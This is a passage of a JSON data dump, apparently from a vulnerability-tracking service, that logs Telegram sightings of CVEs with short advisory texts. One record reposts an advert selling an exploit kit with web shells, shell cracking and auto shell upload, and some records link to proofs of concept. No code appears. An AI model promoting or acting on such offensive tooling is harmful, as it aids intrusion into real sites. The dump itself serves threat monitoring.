HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:27:59.000000Z"}, {"uuid": "6d08e810-f539-4cd5-84bb-234ecea8b97d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31315", "type": "seen", "source": "https://t.me/CyberBulletin/372", "content": "\u26a1\ufe0fAMD EPYC Processors Exposed: High-Severity Vulnerability CVE-2023-31315.\n\n#CyberBulletin", "creation_timestamp": "2024-08-14T10:32:37.000000Z"}, {"uuid": "85113c27-5958-449c-a5d0-a13cde2f58c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31456", "type": "seen", "source": "https://t.me/cvedetector/991", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31456 - \"Fluid Topics SSRF Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2023-31456 \nPublished : July 16, 2024, 6:15 p.m. | 37\u00a0minutes ago \nDescription : There is an SSRF vulnerability in the Fluid Topics platform that affects versions prior to 4.3, where the server can be forced to make arbitrary requests to internal and external resources by an authenticated user. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T21:18:19.000000Z"}, {"uuid": "99965864-2fd1-42b8-ac51-bce7a4652153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31102", "type": "seen", "source": "https://t.me/cibsecurity/73491", "content": "\u203c CVE-2023-31102 \u203c\n\n7-Zip through 22.01 on Linux allows an integer underflow and code execution via a crafted 7Z archive.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T06:23:01.000000Z"}, {"uuid": "f16cb832-84e4-4a89-b5b1-eac4b156396d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31020", "type": "seen", "source": "https://t.me/cibsecurity/73471", "content": "\u203c CVE-2023-31020 \u203c\n\nNVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer, where an unprivileged regular user can cause improper access control, which may lead to denial of service or data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:22:53.000000Z"}, {"uuid": "c9701559-dd0f-48a9-ace3-32bd2513e4df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31023", "type": "seen", "source": "https://t.me/cibsecurity/73469", "content": "\u203c CVE-2023-31023 \u203c\n\nNVIDIA Display Driver for Windows contains a vulnerability where an attacker may cause a pointer dereference of an untrusted value, which may lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:22:48.000000Z"}, {"uuid": "74293b57-103d-416b-8d96-91347a9adfdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31027", "type": "seen", "source": "https://t.me/cibsecurity/73468", "content": "\u203c CVE-2023-31027 \u203c\n\nNVIDIA GPU Display Driver for Windows contains a vulnerability that allows Windows users with low levels of privilege to escalate privileges when an administrator is updating GPU drivers, which may lead to escalation of privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:22:47.000000Z"}, {"uuid": "31d64976-a5d0-4c89-ac3b-d231099a4ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31016", "type": "seen", "source": "https://t.me/cibsecurity/73477", "content": "\u203c CVE-2023-31016 \u203c\n\nNVIDIA GPU Display Driver for Windows contains a vulnerability where an uncontrolled search path element may allow an attacker to execute arbitrary code, which may lead to code execution, denial of service, escalation of privileges, information disclosure, or data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:23:02.000000Z"}, {"uuid": "2c83eac7-d900-4ced-919d-09d47c848833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31017", "type": "seen", "source": "https://t.me/cibsecurity/73476", "content": "\u203c CVE-2023-31017 \u203c\n\nNVIDIA GPU Display Driver for Windows contains a vulnerability where an attacker may be able to write arbitrary data to privileged locations by using reparse points. A successful exploit of this vulnerability may lead to code execution, denial of service, escalation of privileges, information disclosure, or data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:23:01.000000Z"}, {"uuid": "0e67e6d3-3e01-469a-a6cc-e376f5f251ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31018", "type": "seen", "source": "https://t.me/cibsecurity/73466", "content": "\u203c CVE-2023-31018 \u203c\n\nNVIDIA GPU Driver for Windows and Linux contains a vulnerability in the kernel mode layer, where an unprivileged regular user can cause a NULL-pointer dereference, which may lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:22:45.000000Z"}, {"uuid": "f63f431c-f197-4e47-a1a9-8a29a219c7fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31019", "type": "seen", "source": "https://t.me/cibsecurity/73474", "content": "\u203c CVE-2023-31019 \u203c\n\nNVIDIA GPU Display Driver for Windows contains a vulnerability in wksServicePlugin.dll, where the driver implementation does not restrict or incorrectly restricts access from the named pipe server to a connecting client, which may lead to potential impersonation to the client's secure context.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:22:56.000000Z"}, {"uuid": "beb568b6-23ae-4fe3-a80f-0e4f62f168ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31026", "type": "seen", "source": "https://t.me/cibsecurity/73473", "content": "\u203c CVE-2023-31026 \u203c\n\nNVIDIA vGPU software for Windows and Linux contains a vulnerability in the Virtual GPU Manager (vGPU plugin), where a NULL-pointer dereference may lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:22:55.000000Z"}, {"uuid": "1e4a25d4-7243-47a8-ac7a-eeb9a18ec726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31022", "type": "seen", "source": "https://t.me/cibsecurity/73472", "content": "\u203c CVE-2023-31022 \u203c\n\nNVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer, where a NULL-pointer dereference may lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:22:54.000000Z"}, {"uuid": "1b77bc56-f9ad-48c6-8823-8fbb31497dc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31272", "type": "seen", "source": "https://t.me/cibsecurity/72121", "content": "\u203c CVE-2023-31272 \u203c\n\nA stack-based buffer overflow vulnerability exists in the httpd do_wds functionality of Yifan YF325 v1.0_20221108. A specially crafted network request can lead to stack-based buffer overflow. An attacker can send a network request to trigger this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-11T20:17:52.000000Z"}, {"uuid": "b8551fb0-f145-454d-82a4-9447db46882a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "https://t.me/SyrianElectronicArmyTEAM/3370", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu & Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime & Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-19T15:32:10.000000Z"}, {"uuid": "ca243bc5-c039-4f1e-97b0-9afa3e867f93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31320", "type": "published-proof-of-concept", "source": "https://t.me/Blackhat_Officials/573", "content": "https://github.com/whypet/CVE-2023-31320\n\nDoS vulnerability in AMD driver that corrupts the display.", "creation_timestamp": "2023-11-16T09:18:39.000000Z"}, {"uuid": "5939676b-b3d1-464d-a8b4-847f4412e066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3124", "type": "seen", "source": "Telegram/sruvLt1HCpQH2DeXdTaAiepbEJlcTFR85rQ5a4S9CfzBwnM", "content": "", "creation_timestamp": "2024-09-26T11:20:28.000000Z"}, {"uuid": "77903696-3814-4df5-9646-cc0368f80612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3124", "type": "seen", "source": "Telegram/yZO0P_c215YMRhQ9S3_vPEuVnf9gKX_X9s_-4ztDiMFE4sU", "content": "", "creation_timestamp": "2024-09-26T11:20:28.000000Z"}, {"uuid": "39638f62-8d6a-4174-b660-8316258fd117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31122", "type": "seen", "source": "Telegram/Hf_SunJuoYNf_bsQCJ20cuXyI7bzH8EMEXzusn30k3vpXeQ", "content": "", "creation_timestamp": "2024-10-15T10:14:15.000000Z"}, {"uuid": "8d3d10ef-363e-4d4a-b2de-869c0a575534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31043", "type": "seen", "source": "Telegram/CgUGRHw6M_DW-ikylZhRUedoj_IQ-uJfRm7ITQBBZLP8Wj_Q", "content": "", "creation_timestamp": "2025-02-06T02:41:38.000000Z"}, {"uuid": "aea08972-a6b9-4662-b7d0-42bb908feef6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31223", "type": "seen", "source": "Telegram/qT72ODk4VAvZkjvzVvGhrb1fp3YZh3zPqyovJoCbolX3rMXa", "content": "", "creation_timestamp": "2025-02-06T02:40:19.000000Z"}, {"uuid": "928247aa-d877-431e-bcd8-44b6ba59806a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31250", "type": "seen", "source": "Telegram/s1KhYdt7claW_iXh_ybOYMEufeR70Ini0SPvUypZnFtBJzp_", "content": "", "creation_timestamp": "2025-02-06T02:39:19.000000Z"}, {"uuid": "c345dd3d-bb15-46c0-b8aa-18574b5a87da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31345", "type": "seen", "source": "Telegram/0BysBoRkrQQr3J-6cU0_y7FJjjqHgp1kJ2WOORO9Tdt4kCkj", "content": "", "creation_timestamp": "2025-02-14T10:04:01.000000Z"}, {"uuid": "55a27367-e400-4309-897b-51b22898a000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31352", "type": "seen", "source": "Telegram/HTzN83maQRKq1wZP4d7sDFxSvW6NRROQKdUGKI77X2YzVpfL", "content": "", "creation_timestamp": "2025-02-14T10:04:01.000000Z"}, {"uuid": "ac3ef8bc-818b-402c-8f8a-fea480decfff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31352", "type": "seen", "source": "Telegram/A7mLkC4p8IOUlnjcFno3L9cERMWNSgJYKtO9o9c0Yx_-Kjva", "content": "", "creation_timestamp": "2025-02-14T10:04:01.000000Z"}, {"uuid": "13b45db5-341b-4b4e-83f8-ee61d6085795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31343", "type": "seen", "source": "Telegram/3-P0lh1FOEvnGwRsiiNr1N5GDRNQUQfPt3uTd7fp-jupU6dt", "content": "", "creation_timestamp": "2025-02-14T10:04:01.000000Z"}, {"uuid": "d799e6c1-23d8-4fe3-a733-4252dff5788e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31356", "type": "seen", "source": "Telegram/nnwr3768RLYlqD5MysqXS4iMDyLGGlpDMtwTxSS3Ryu0OPNN", "content": "", "creation_timestamp": "2025-02-14T10:04:01.000000Z"}, {"uuid": "5c55de09-98ac-492c-aede-5581a1bcb62a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31352", "type": "seen", "source": "Telegram/O9d9KfxklLJzp7NlciY2oTleqfxnbLBxg3wQDFTh7NUnXZRM", "content": "", "creation_timestamp": "2025-02-14T10:03:16.000000Z"}, {"uuid": "08a18764-3ba5-4a29-a8e6-84f31b5111a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31360", "type": "seen", "source": "Telegram/FKNRu-wpHgtDjZtCZYZpHCvRj4uUcLiCIG98icgfcPZdtVP0", "content": "", "creation_timestamp": "2025-02-14T10:04:00.000000Z"}, {"uuid": "b8b11c7b-2c3c-49ac-87fb-3051794094ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31276", "type": "seen", "source": "Telegram/QnJTq_r6KPCTPQf4A3JZ1rX8LcG0TYh3lVweo_ryDhwN8pz1", "content": "", "creation_timestamp": "2025-02-14T10:06:02.000000Z"}, {"uuid": "eab0fa83-4578-4d6d-a7b6-9a2cceee828e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31352", "type": "seen", "source": "Telegram/7-E6gLhdviHQBkzJ0cq2HxxbWUwArE2N35Apx2ToVRRpzank", "content": "", "creation_timestamp": "2025-02-14T10:03:16.000000Z"}, {"uuid": "3a89b847-399f-4dfe-bebb-292926b3136e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31342", "type": "seen", "source": "Telegram/AgOyAvWTIy4qpYCfmqtmwYA-IzRTZvK6lVkmZbLkkix79pmv", "content": "", "creation_timestamp": "2025-02-14T10:04:01.000000Z"}, {"uuid": "031e3e54-b771-47fa-bb6d-8c73257a1c0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31669", "type": "seen", "source": "Telegram/IG39RiGrW7gJiyLMBgeOT95luIkKjh2LnddMjfWryf7pf123", "content": "", "creation_timestamp": "2025-02-01T17:28:10.000000Z"}, {"uuid": "a9f873ad-9e5c-42c7-be50-de76265a1062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31670", "type": "seen", "source": "Telegram/duLKQleybirdQN-6JeJZWtzUMlq22w4GzKfTdJJW1CVfiGUd", "content": "", "creation_timestamp": "2025-02-01T17:28:10.000000Z"}, {"uuid": "212007bd-6553-4ecf-bd60-c5e92d20646b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31664", "type": "seen", "source": "Telegram/zRWIAueIFVbIiy9IpUQnxPKFP58apDCXh8eej9wEV81qbl5o", "content": "", "creation_timestamp": "2025-02-01T17:28:10.000000Z"}, {"uuid": "b5e48ab1-7caa-42aa-b458-75b2716b5194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31470", "type": "seen", "source": "Telegram/68hF4mGAlSXPuWIVIxEi2sgRoPt2GHEnPS60FHybret4oq9d", "content": "", "creation_timestamp": "2025-02-01T17:28:10.000000Z"}, {"uuid": "be570022-e36d-45f2-898c-df5363b04da4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31444", "type": "seen", "source": "Telegram/SLZbKxu1UlKOt4tZOitLjgdy470iM1iSe44i8dEQ89e6s5Sr", "content": "", "creation_timestamp": "2025-02-01T17:28:10.000000Z"}, {"uuid": "62a1ae72-c1d4-4a9b-9f09-903745491be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31280", "type": "seen", "source": "Telegram/0PUHBakNQ0PhSHWgPl49lEiuwsKYc98QFLGUs0bKWeO5wQ-y", "content": "", "creation_timestamp": "2025-01-03T23:46:38.000000Z"}, {"uuid": "6fa74426-9d94-4f7f-90f0-869d984b1f44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31729", "type": "seen", "source": "https://t.me/arpsyndicate/2435", "content": "#ExploitObserverAlert\n\nCVE-2023-31729\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-31729. TOTOLINK A3300R v17.0.0cu.557 is vulnerable to Command Injection.\n\nFIRST-EPSS: 0.018000000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-01-04T05:06:29.000000Z"}, {"uuid": "a9082a2c-272f-4162-99bc-31c8f22de5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "exploited", "source": "Telegram/JnH6PMCRXmemhB1HYnzKRTjCpyWUKfypC8rBmIVNn2RsVf8R", "content": "", "creation_timestamp": "2025-01-30T23:28:04.000000Z"}, {"uuid": "115a5428-2397-42b5-ba43-caa5a558ae32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31615", "type": "seen", "source": "Telegram/Z86SPOke7oBQjOty4qH2u9abkoQgSMyNytDKp2V968RAyQIQ", "content": "", "creation_timestamp": "2025-02-01T17:28:09.000000Z"}, {"uuid": "f933ad58-f72b-47ea-adc9-5204ec70c98f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31614", "type": "seen", "source": "Telegram/BNmC5IB00LEnt4qg6SKLe97lXf6udvdkhfGgtRsWjQqGtQqH", "content": "", "creation_timestamp": "2025-02-01T17:28:09.000000Z"}, {"uuid": "16ef3522-c806-45eb-8502-7c15a3d35e54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31099", "type": "published-proof-of-concept", "source": "https://t.me/darkcommunityofficial/300", "content": "https://xz.aliyun.com/t/13216\nCVE-2023-31099\n#exploit", "creation_timestamp": "2024-01-06T16:19:47.000000Z"}, {"uuid": "34cb0d05-2673-4079-9b5a-b8a1295a6310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "seen", "source": "https://t.me/arpsyndicate/4817", "content": "#ExploitObserverAlert\n\nCVE-2023-31446\n\nDESCRIPTION: Exploit Observer has 10 entries in 5 file formats related to CVE-2023-31446. In Cassia Gateway firmware XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947, the queueUrl parameter in /bypass/config is not sanitized. This leads to injecting Bash code and executing it with root privileges on device startup.\n\nFIRST-EPSS: 0.019820000\nNVD-IS: 5.9\nNVD-ES: 3.9\nARPS-PRIORITY: 0.9521352", "creation_timestamp": "2024-04-24T20:58:52.000000Z"}, {"uuid": "6d1c9597-e04a-42d9-a9be-c2172c4a21a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31068", "type": "seen", "source": "https://t.me/cibsecurity/72443", "content": "\u203c CVE-2023-27133 \u203c\n\nTSplus Remote Work 16.0.0.0 has weak permissions for .exe, .js, and .html files under the %PROGRAMFILES(X86)%\\TSplus-RemoteWork\\Clients\\www folder. This may enable privilege escalation if a different local user modifies a file. NOTE: CVE-2023-31067 and CVE-2023-31068 are only about the TSplus Remote Access product, not the TSplus Remote Work product.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T20:33:01.000000Z"}, {"uuid": "8cc5009c-4977-4465-8c66-2b4ad20dcff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31067", "type": "seen", "source": "https://t.me/cibsecurity/72443", "content": "\u203c CVE-2023-27133 \u203c\n\nTSplus Remote Work 16.0.0.0 has weak permissions for .exe, .js, and .html files under the %PROGRAMFILES(X86)%\\TSplus-RemoteWork\\Clients\\www folder. This may enable privilege escalation if a different local user modifies a file. NOTE: CVE-2023-31067 and CVE-2023-31068 are only about the TSplus Remote Access product, not the TSplus Remote Work product.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T20:33:01.000000Z"}, {"uuid": "2d6ca70c-7240-4926-bd2f-131a0106d539", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3167", "type": "seen", "source": "https://t.me/arpsyndicate/2344", "content": "#ExploitObserverAlert\n\nCVE-2023-3167\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-3167. The Mail Queue plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an email subject in versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000520000\nNVD-IS: 2.7\nNVD-ES: 2.8", "creation_timestamp": "2024-01-03T19:06:40.000000Z"}, {"uuid": "ae3113d0-db43-4160-b76d-a2afc8422236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "seen", "source": "https://t.me/arpsyndicate/3211", "content": "#ExploitObserverAlert\n\nCVE-2023-31419\n\nDESCRIPTION: Exploit Observer has 6 entries in 3 file formats related to CVE-2023-31419. A flaw was discovered in Elasticsearch, affecting the _search API that allowed a specially crafted query string to cause a Stack Overflow and ultimately a Denial of Service.\n\nFIRST-EPSS: 0.000810000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2024-01-28T04:59:48.000000Z"}, {"uuid": "84eb5c59-9386-4e18-9983-5e8394bb3a1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31418", "type": "seen", "source": "https://t.me/arpsyndicate/2447", "content": "#ExploitObserverAlert\n\nCVE-2023-31418\n\nDESCRIPTION: Exploit Observer has 3 entries related to CVE-2023-31418. An issue has been identified with how Elasticsearch handled incoming requests on the HTTP layer. An unauthenticated user could force an Elasticsearch node to exit with an OutOfMemory error by sending a moderate number of malformed HTTP requests. The issue was identified by Elastic Engineering and we have no indication that the issue is known or that it is being exploited in the wild.\n\nFIRST-EPSS: 0.000660000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2024-01-04T08:41:20.000000Z"}, {"uuid": "599a8cb5-2c93-45aa-a343-093963c05c05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31701", "type": "seen", "source": "https://t.me/arpsyndicate/2387", "content": "#ExploitObserverAlert\n\nCVE-2023-31701\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-31701. TP-Link TL-WPA4530 KIT V2 (EU)_170406 and V2 (EU)_161115 is vulnerable to Command Injection via _httpRpmPlcDeviceRemove.\n\nFIRST-EPSS: 0.001300000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2024-01-04T00:04:07.000000Z"}, {"uuid": "21714744-54e5-4898-b2bf-091b06d56d3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31068", "type": "seen", "source": "https://t.me/arpsyndicate/2428", "content": "#ExploitObserverAlert\n\nCVE-2023-27133\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-27133. TSplus Remote Work 16.0.0.0 has weak permissions for .exe, .js, and .html files under the %PROGRAMFILES(X86)%\\TSplus-RemoteWork\\Clients\\www folder. This may enable privilege escalation if a different local user modifies a file. NOTE: CVE-2023-31067 and CVE-2023-31068 are only about the TSplus Remote Access product, not the TSplus Remote Work product.\n\nFIRST-EPSS: 0.001300000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-01-04T04:19:43.000000Z"}, {"uuid": "cffbfe67-ceb8-4f84-b2e8-03c99e1515f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31067", "type": "seen", "source": "https://t.me/arpsyndicate/2428", "content": "#ExploitObserverAlert\n\nCVE-2023-27133\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-27133. TSplus Remote Work 16.0.0.0 has weak permissions for .exe, .js, and .html files under the 